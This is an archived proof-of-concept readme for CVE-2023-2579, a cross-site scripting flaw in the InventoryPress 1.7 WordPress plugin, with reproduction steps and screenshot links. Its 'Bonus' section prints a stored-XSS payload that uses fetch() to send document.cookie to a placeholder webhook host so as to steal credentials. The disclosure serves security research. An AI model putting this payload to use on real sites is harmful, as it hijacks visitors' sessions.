Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-2579 PoC — WordPress plugin InventoryPress 跨站脚本漏洞

Source
Associated Vulnerability
Title:WordPress plugin InventoryPress 跨站脚本漏洞 (CVE-2023-2579)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin InventoryPress 1.7及之前版本存在跨站脚本漏洞,该漏洞源于不会清理和转义其某些设置,可能允许攻击者执行存储型跨站脚本攻击。
Description
PoC for CVE-2023-2579
Readme
# Update - 6-23-2023
The CVE-2023-2579 ID was reserved and the PoC was published in the WPScan website: 
https://wpscan.com/vulnerability/3cfcb8cc-9c4f-409c-934f-9f3f043de6fe

# Details

Title: Authenticated Reflected Cross-Site Scripting in InventoryPress Plugin for WordPress CMS</br>
Date: 2023-04-21</br>
Author: Danilo Albuquerque</br>
Vendor Homepage: https://wordpress.org</br>
Software Link: https://wordpress.org/download</br>
Version: WordPress 6.2</br>
Plugin's Name and Version: InventoryPress 1.7</br>
Tested on: Brave (Version 1.50.119  Chromium: 112.0.5615.121 (Official Version)  64 bits)</br>

# PoC for Reflected XSS vulnerability in InventoryPress 1.7

1. Go to the page that you can add the items into the inventory;
2. Add the malicious payload into the "Description" input of the form;
3. Access the new item's link generated by the plugin;

When you do all that and update the current page, it will bring you the alert pop-up with the message in it.

## Screenshots below

1. Go to the page that you can add the items into the inventory:</br>
![image](https://user-images.githubusercontent.com/85083396/233687800-41ba730b-50e1-45eb-a105-9e88d0335f4f.png)

2. Add the malicious payload into the "Description" input of the form:</br>
![image](https://user-images.githubusercontent.com/85083396/233688168-6c750d25-dd8a-41de-abec-81eae96423da.png)

3. Access the new item's link generated by the plugin:</br>
![image](https://user-images.githubusercontent.com/85083396/233688283-3220817f-038d-489a-8618-2c534c9aa4a0.png)

4. Once the request is done, the alert pop-up is showed:</br>
![image](https://user-images.githubusercontent.com/85083396/233688698-da57fe00-2f4a-4d85-bf23-d89dfc36d5cd.png)

# Bonus - PoC for Stored XSS

1. Add the following payload to steal the cookies into the "Description" input: ```<script>fetch('https://webhooksite-to-get-the-request', {method: 'POST',mode: 'no-cors',body:document.cookie});</script>```. Then post the new item, or update an old one;
2. Trigger and get the credentials in the Webhook site

1. Adding the payload and posting the item (or updating it):
![image](https://user-images.githubusercontent.com/85083396/233690179-2e788617-ac38-4afa-a5b8-6a546c3bed1d.png)

2. Triggering and getting the credentials:
![image](https://user-images.githubusercontent.com/85083396/233690648-a72abe8d-889a-4019-bc1f-72f466e87a90.png)

File Snapshot

[4.0K] /data/pocs/b2e020c33ba34cb1cf111c1c9c7e203ee5d3974b └── [2.3K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.